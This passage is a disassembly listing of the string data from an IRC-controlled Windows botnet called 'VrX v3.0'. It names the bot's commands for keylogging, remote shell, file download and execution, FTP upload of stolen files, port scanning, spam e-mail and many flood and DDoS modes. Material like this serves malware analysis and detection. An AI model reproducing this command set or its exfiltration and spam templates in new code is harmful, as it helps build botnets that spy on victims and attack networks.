XREF: sub_401ACD+7A99o a81VrxNickChang db '8,1-VrX- Nick changed to: ',27h,'%s',27h,'.',0 align 4 unk_429CDC db 3 ; DATA XREF: sub_401ACD+7A7Do a81VrxJoinedCha db '8,1-VrX- Joined channel: ',27h,'%s',27h,'.',0 unk_429CFC db 3 ; DATA XREF: sub_401ACD+7A5Ao a81VrxPartedCha db '8,1-VrX- Parted channel: ',27h,'%s',27h,'.',0 unk_429D1C db 3 ; DATA XREF: sub_401ACD+7A3Eo a81VrxIrcRawS_ db '8,1-VrX- IRC Raw: %s.',0 align 4 ; char asc_429D34[] asc_429D34 db '-' ; DATA XREF: sub_401ACD:loc_40948Ao db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 10h unk_429D60 db 2Dh ; - ; DATA XREF: sub_401ACD+79B6o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 4 unk_429D84 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40943Do db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_429DAC db 2Dh ; - ; DATA XREF: sub_401ACD+7966o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 ; char aAll[] aAll db 'all',0 ; DATA XREF: sub_401ACD+794Co unk_429DD8 db 3 ; DATA XREF: sub_401ACD+7848o a81VrxPrefixCha db '8,1-VrX- Prefix changed to: ',27h,'%c',27h,'.',0 align 4 unk_429DFC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409300o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 unk_429E20 db 2Dh ; - ; DATA XREF: sub_401ACD+7829o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 10h unk_429E40 db 3 ; DATA XREF: sub_401ACD+7809o a81VrxServerCha db '8,1-VrX- Server changed to: ',27h,'%s',27h,'.',0 align 4 unk_429E64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4092BDo db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 4 ; char asc_429E8C[] asc_429E8C db '-' ; DATA XREF: sub_401ACD+77C2o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 4 unk_429EAC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409255o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 4 unk_429EDC db 2Dh ; - ; DATA XREF: sub_401ACD+777Eo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 ; char asc_429EFC[] asc_429EFC db '-' ; DATA XREF: sub_401ACD:loc_4091F5o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 unk_429F2C db 2Dh ; - ; DATA XREF: sub_401ACD+7721o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 10h ; char asc_429F50[] asc_429F50 db '-' ; DATA XREF: sub_401ACD+76DFo db 3, 34h, 2 dd 656C6966h, 202D0302h, 656C6544h, 20646574h, 27732527h dd 2Eh ; char asc_429F6C[] asc_429F6C db '-' ; DATA XREF: sub_401ACD+7667o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 dword_429F90 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_401ACD+75ECo dd 0 ; char asc_429FA8[] asc_429FA8 db '-' ; DATA XREF: sub_401ACD+75BFo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0 align 4 ; char asc_429FE8[] asc_429FE8 db '-' ; DATA XREF: sub_401ACD+7550o db 3, 34h, 2 dd 69736976h, 2D030274h, 4C525520h, 7325203Ah, 2Eh ; char asc_42A000[] asc_42A000 db '-' ; DATA XREF: sub_401ACD:loc_408F9Do db 3, 34h, 2 dd 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h, 746E6573h dd 2Eh unk_42A01C db 2Dh ; - ; DATA XREF: sub_401ACD+74C9o db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 4 ; char asc_42A03C[] asc_42A03C db '-' ; DATA XREF: sub_401ACD+748Fo db 3, 34h, 2 dd 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh, 732520h unk_42A054 db 2Dh ; - ; DATA XREF: sub_401ACD+7481o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 10h ; char asc_42A080[] asc_42A080 db 0Ah,0 ; DATA XREF: sub_401ACD+7469o ; sub_4100B4+FBo ... align 4 unk_42A084 db 3 ; DATA XREF: sub_401ACD+7441o a81VrxReadFileF db '8,1-VrX- Read file failed: %s',0 align 4 unk_42A0A4 db 3 ; DATA XREF: sub_401ACD+7436o a81VrxReadFileC db '8,1-VrX- Read file complete: %s',0 align 4 aUnknowModeType db 'Unknow mode type.',0 ; DATA XREF: sub_401ACD:loc_408E97o align 4 ; char aFailedToStartL[] aFailedToStartL db 'Failed to start logging thread, error: <%d>.',0 ; DATA XREF: sub_401ACD+73B4o align 4 ; char aNormalKeyLogge[] aNormalKeyLogge db 'Normal key logger active.',0 ; DATA XREF: sub_401ACD+733Do align 4 ; char aNormal_0[] aNormal_0 db 'normal',0 ; DATA XREF: sub_401ACD+72EDo align 10h aKeylogerAlread db 'Keyloger Already running.',0 ; DATA XREF: sub_401ACD+7263o align 4 aVrxV3_0SitesKe db 'VrX v3.0 sites keylogger active.',0 ; DATA XREF: sub_401ACD+7236o ; sub_401ACD+72E5o align 10h aKeylog_0 db 'Keylog',0 ; DATA XREF: sub_401ACD+7231o align 4 ; char unk_42A178 unk_42A178 db 3 ; DATA XREF: sub_401ACD+7216o a81VrxGethostS_ db '8,1-VrX- Gethost: %s.',0 align 10h ; char unk_42A190 unk_42A190 db 3 ; DATA XREF: sub_401ACD+71D2o a81VrxUnableToE db '8,1-VrX- Unable to extract Gethost command.',0 align 10h ; char unk_42A1C0 unk_42A1C0 db 3 ; DATA XREF: sub_401ACD+71B6o a81VrxGethostSC db '8,1-VrX- Gethost: %s, Command: %s',0 align 4 unk_42A1E4 db 3 ; DATA XREF: sub_401ACD+7119o a81VrxAliasAdde db '8,1-VrX- Alias added: %s.',0 align 10h unk_42A200 db 3 ; DATA XREF: sub_401ACD+70E7o a81VrxPrivmsgSS db '8,1-VrX- Privmsg: %s: %s.',0 align 4 unk_42A21C db 3 ; DATA XREF: sub_401ACD+7096o a81VrxActionSS_ db '8,1-VrX- Action: %s: %s.',0 align 4 dword_42A238 dd 312C3803h, 5872562Dh, 7943202Dh, 2E656C63h, 0 ; DATA XREF: sub_401ACD+7028o ; char aPartS_1[] aPartS_1 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+6FEEo ; sub_401ACD+7A49o align 4 unk_42A258 db 3 ; DATA XREF: sub_401ACD+6FC7o a81VrxModeChang db '8,1-VrX- Mode change: %s',0 align 4 ; char aModeS_0[] aModeS_0 db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+6FB6o align 10h dword_42A280 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_401ACD+6F8Do dd 25203A29h, 73h dword_42A29C dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_401ACD+6F1Fo dd 203A2973h, 7325h ; char aModeS[] aModeS db 'MODE %s',0 ; DATA XREF: sub_401ACD+6EC7o ; char dword_42A2C0[] dword_42A2C0 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_401ACD+6E95o dd 203A2973h, 7325h ; char aJoinSS_0[] aJoinSS_0 db 'JOIN %s %s',0 ; DATA XREF: sub_401ACD+6E1Do align 4 ; char aS[] aS db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+6DEBo ; sub_401ACD+6E71o ... align 10h ; char aPartS_0[] aPartS_0 db 'PART %s',0 ; DATA XREF: sub_401ACD+6DB6o ; char asc_42A2F8[] asc_42A2F8 db '-' ; DATA XREF: sub_401ACD+6D79o db 3, 34h, 2 dd 67726174h, 3023361h aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 4 ; char asc_42A334[] asc_42A334 db '-' ; DATA XREF: sub_401ACD+6D0Eo db 3, 34h, 2 dd 67726174h, 3023361h aFloodingSForSS db '- Flooding %s for %s seconds.',0 align 10h unk_42A360 db 2Dh ; - ; DATA XREF: sub_401ACD+6CA8o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0 align 4 ; char asc_42A39C[] asc_42A39C db '-' ; DATA XREF: sub_401ACD+6C39o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 ; char unk_42A3D0 unk_42A3D0 db 3 ; DATA XREF: sub_401ACD+6B9Do a81VrxRepeatNot db '8,1-VrX- Repeat not allowed in command line: %s',0 align 4 ; char unk_42A404 unk_42A404 db 3 ; DATA XREF: sub_401ACD+6B60o a81VrxRepeatS db '8,1-VrX- Repeat: %s',0 align 4 dword_42A41C dd 312C3803h, 5872562Dh, 6544202Dh, 2E79616Ch, 0 ; DATA XREF: sub_401ACD:loc_408591o ; char aSSSS[] aSSSS db '%s %s %s :%s',0 ; DATA XREF: sub_401ACD+6A84o ; sub_401ACD+6B37o ... align 10h ; char asc_42A440[] asc_42A440 db '-' ; DATA XREF: sub_401ACD:loc_4084F0o db 3, 34h, 2 dd 61647075h, 3026574h aBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 4 dword_42A488 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A19o aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 ; char asc_42A4C4[] asc_42A4C4 db '-' ; DATA XREF: sub_401ACD+69AAo db 3, 34h, 2 dd 61526159h, 3022162h aDownloadingUpd db '- Downloading update from: %s.',0 align 10h ; char aSS_exe[] aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+6904o align 4 dword_42A4FC dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_401ACD+68A2o dd 7325203Ah, 0 unk_42A518 db 2Dh ; - ; DATA XREF: sub_401ACD+6897o db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 4 ; char asc_42A53C[] asc_42A53C db '-' ; DATA XREF: sub_401ACD+67FDo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0 ; char asc_42A578[] asc_42A578 db '-' ; DATA XREF: sub_401ACD+6787o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 4 dword_42A5A8 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40818Do ; sub_401ACD:loc_4091C7o ; char asc_42A5B4[] asc_42A5B4 db '-' ; DATA XREF: sub_401ACD+66ABo db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 4 unk_42A5D8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408156o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 10h unk_42A610 db 2Dh ; - ; DATA XREF: sub_401ACD+667Fo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0 align 4 ; char asc_42A648[] asc_42A648 db '-' ; DATA XREF: sub_401ACD+660Fo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 dword_42A674 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+658Co aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0 align 10h ; char asc_42A6B0[] asc_42A6B0 db '-' ; DATA XREF: sub_401ACD+651Do db 3, 34h, 2 dd 6E6F6C63h, 3027365h aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 10h unk_42A6E0 db 2Dh ; - ; DATA XREF: sub_401ACD+64A4o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0 align 4 ; char asc_42A718[] asc_42A718 db '-' ; DATA XREF: sub_401ACD+6435o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42A748 db 2Dh ; - ; DATA XREF: sub_401ACD+63ABo db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0 align 10h ; char asc_42A780[] asc_42A780 db '-' ; DATA XREF: sub_401ACD+633Co db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 10h unk_42A7B0 db 2Dh ; - ; DATA XREF: sub_401ACD+62C3o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0 align 4 ; char asc_42A7E8[] asc_42A7E8 db '-' ; DATA XREF: sub_401ACD+6254o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 4 unk_42A824 db 2Dh ; - ; DATA XREF: sub_401ACD+61DBo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0 align 4 ; char asc_42A864[] asc_42A864 db '-' ; DATA XREF: sub_401ACD+616Co db 3, 34h, 2 dd 61526159h, 3022162h aDownloadingUrl db '- Downloading URL: %s to: %s.',0 align 10h unk_42A890 db 2Dh ; - ; DATA XREF: sub_401ACD+609Do db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 ; char asc_42A8D4[] asc_42A8D4 db '-' ; DATA XREF: sub_401ACD+602Eo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 ; char unk_42A910 unk_42A910 db 3 ; DATA XREF: sub_401ACD+5F31o a81Sc@nPortScan db '8,1-SC@N- Port scan started: %s:%d with delay: %d(ms).',0 ; char aSSS_0[] aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5E85o align 4 aSSS db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5DB0o align 4 ; char dword_42A968 dword_42A968 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5D22o ; sub_401ACD+7074o unk_42A974 db 2Dh ; - ; DATA XREF: sub_401ACD+5CC0o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0 align 10h ; char asc_42A9B0[] asc_42A9B0 db '-' ; DATA XREF: sub_401ACD+5C51o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 10h unk_42AA00 db 3 ; DATA XREF: sub_401ACD+5BBAo ; sub_401ACD+5FA0o a81Sc@nFailedTo db '8,1-SC@N- Failed to start scan thread, error: <%d>.',0 align 4 ; char unk_42AA38 unk_42AA38 db 3 ; DATA XREF: sub_401ACD+5B4Bo a81Sc@nSPortSca db '8,1-SC@N- %s Port Scan started on %s:%d with a delay of %d second' db 's for %d minutes using %d threads.',0 align 10h unk_42AAA0 db 3 ; DATA XREF: sub_401ACD+59D5o a81Sc@nFailed_0 db '8,1-SC@N- Failed to start scan, no IP specified.',0 align 4 unk_42AAD4 db 3 ; DATA XREF: sub_401ACD+5978o a81Sc@nFailed_1 db '8,1-SC@N- Failed to start scan, port is invalid.',0 align 4 ; char asc_42AB08[] asc_42AB08 db '-' ; DATA XREF: sub_401ACD:loc_407320o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s failed.',0 align 4 unk_42AB38 db 2Dh ; - ; DATA XREF: sub_401ACD+584Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s',0 align 10h aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5835o ; char aSS_2[] aSS_2 db '-s:%s',0 ; DATA XREF: sub_401ACD+581Eo align 10h ; char aOpenSSSSPutSBy[] aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+57FBo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 ; char Mode[] Mode db 'ab',0 ; DATA XREF: sub_401ACD+57D7o align 4 ; char aSIII_dll[] aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+57C6o align 4 ; char asc_42ABA8[] asc_42ABA8 db '-' ; DATA XREF: sub_401ACD+576Do db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 ; char aUpload[] aUpload db 'upload',0 ; DATA XREF: sub_401ACD+574Ao align 10h ; char unk_42ABD0 unk_42ABD0 db 3 ; DATA XREF: sub_401ACD+5714o a81Sc@nAlreadyD db '8,1-SC@N- Already %d scanning threads. Too many specified.',0 ; char asc_42AC0C[] asc_42AC0C db '-' ; DATA XREF: sub_401ACD+56B5o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToStar_8 db '- Failed to start flood thread, error: <%d>.',0 align 4 ; char asc_42AC44[] asc_42AC44 db '-' ; DATA XREF: sub_401ACD+564Ao db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 unk_42AC8C db 2Dh ; - ; DATA XREF: sub_401ACD+5599o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 10h ; char asc_42ACC0[] asc_42ACC0 db '-' ; DATA XREF: sub_401ACD+5565o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_42ACF4 db 2Dh ; - ; DATA XREF: sub_401ACD+5541o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 4 ; char asc_42AD2C[] asc_42AD2C db '-' ; DATA XREF: sub_401ACD+549Fo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 ; char aIcmp_dllNotAva[] aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5482o align 10h unk_42AD80 db 2Dh ; - ; DATA XREF: sub_401ACD+546Do db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToStar_9 db 'Failed to start flood thread, error: <%d>.',0 align 4 ; char asc_42ADB8[] asc_42ADB8 db '-' ; DATA XREF: sub_401ACD+53FEo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 10h ; char asc_42AE00[] asc_42AE00 db '-' ; DATA XREF: sub_401ACD:loc_406E1Do db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 4 unk_42AE38 db 2Dh ; - ; DATA XREF: sub_401ACD+5346o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_10 db '- Failed to start flood thread, error: <%d>.',0 align 10h ; char asc_42AE70[] asc_42AE70 db '-' ; DATA XREF: sub_401ACD+52CCo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+52BCo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+52B5o unk_42AEB4 db 2Dh ; - ; DATA XREF: sub_401ACD+521Ao db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 10h ; char aRandom_0[] aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+520Ao ; sub_4149C1+312o align 4 ; char aAck[] aAck db 'ack',0 ; DATA XREF: sub_401ACD+51F3o ; sub_4149C1+2F2o ; char aHcon[] aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+517Fo align 4 ; char aHttpcon[] aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+516Co ; char asc_42AEFC[] asc_42AEFC db '-' ; DATA XREF: sub_401ACD+511Do db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 10h ; char aHeloRndnickMai[] aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+50A9o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 ; char aEmail[] aEmail db 'email',0 ; DATA XREF: sub_401ACD+4FBEo align 4 ; char aTcp[] aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+4FA7o ; char aTcpflood[] aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+4F90o align 4 ; char aVncHttpHostCha[] aVncHttpHostCha db 'VNC: HTTP Host Changed To: %s',0 ; DATA XREF: sub_401ACD+4F66o align 4 ; char aVnchost[] aVnchost db 'vnchost',0 ; DATA XREF: sub_401ACD+4F48o ; char aP[] aP: ; DATA XREF: sub_401ACD+4F31o ; .data:00438788o ... unicode 0, <p>,0 ; char aPing_0[] aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+4F1Ao align 4 ; char aPingflood[] aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+4F03o align 4 ; char aNs[] aNs db 'ns',0 ; DATA XREF: sub_401ACD+4EECo align 4 ; char aNetsend[] aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4ED5o ; char aU[] aU: ; DATA XREF: sub_401ACD+4EBEo ; .data:00438780o ... unicode 0, <u>,0 ; char aUdp[] aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4EA7o ; char aUdpflood[] aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4E90o align 4 ; char aAd[] aAd db 'ad',0 ; DATA XREF: sub_401ACD+4E79o align 4 ; char aAdvscan[] aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4E62o ; char aPsc[] aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4E4Bo ; char aPortscan[] aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4E34o align 10h ; char aC_a[] aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4E0Eo ; char aC_action[] aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4DF7o align 10h ; char aC_pm[] aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4DE0o align 4 ; char aC_privmsg[] aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4DC9o align 4 ; char aSc[] aSc db 'sc',0 ; DATA XREF: sub_401ACD+4DB2o align 4 ; char aScan_0[] aScan_0 db 'scan',0 ; DATA XREF: sub_401ACD+4D9Bo align 10h ; char aRd[] aRd db 'rd',0 ; DATA XREF: sub_401ACD+4D84o align 4 ; char aRedirect[] aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4D6Do align 10h ; char aNazel3[] aNazel3 db 'NAZEL3',0 ; DATA XREF: sub_401ACD+4D3Fo ; sub_401ACD+4D56o align 4 ; char aWonk[] aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4D28o align 10h ; char aPhatwonk[] aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4D11o align 4 dword_42B05C dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4D04o aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0 align 4 ; char asc_42B098[] asc_42B098 db '-' ; DATA XREF: sub_401ACD+4C95o db 3, 34h, 2 dd 73796B73h, 3026E79h aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 ; char aSkysyn[] aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4C12o align 10h ; char aSyn[] aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4BFBo ; sub_401ACD+51DBo ... ; char aSynflood[] aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4BE4o align 10h unk_42B0E0 db 2Dh ; - ; DATA XREF: sub_401ACD+4BD7o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_12 db '- Failed to start flood thread, error: <%d>.',0 align 10h ; char aWisdom_udp[] aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4B00o align 4 ; char aDdos_random[] aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4AE9o ; sub_413694:loc_4137C0o ; char aDdos_ack[] aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4AD2o ; sub_413694:loc_4137A4o align 4 ; char aDdos_syn[] aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4ABBo ; sub_413694+F1o align 10h ; char aClone_0[] aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4A8Do align 4 ; char aIcmp[] aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4A64o align 10h ; char aIcmpflood[] aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4A4Do align 4 ; char aMv[] aMv db 'mv',0 ; DATA XREF: sub_401ACD+4A36o align 10h ; char aRename[] aRename db 'rename',0 ; DATA XREF: sub_401ACD+4A1Fo align 4 ; char aFf[] aFf db 'ff',0 ; DATA XREF: sub_401ACD+4A08o align 4 ; char aFindfile[] aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+49F1o align 4 ; char aE[] aE: ; DATA XREF: sub_401ACD+49DAo ; .data:00438770o ... unicode 0, <e>,0 ; char aExecute[] aExecute db 'execute',0 ; DATA XREF: sub_401ACD+49C3o ; char aHadeth3[] aHadeth3 db 'HADETH3',0 ; DATA XREF: sub_401ACD+4995o ; sub_401ACD+49ACo ; char aDe[] aDe db 'de',0 ; DATA XREF: sub_401ACD+497Eo align 10h ; char aDelay[] aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4967o align 4 ; char aRp[] aRp db 'rp',0 ; DATA XREF: sub_401ACD+4950o align 4 ; char aRepeat[] aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4939o ; sub_401ACD+6B0Co align 4 ; 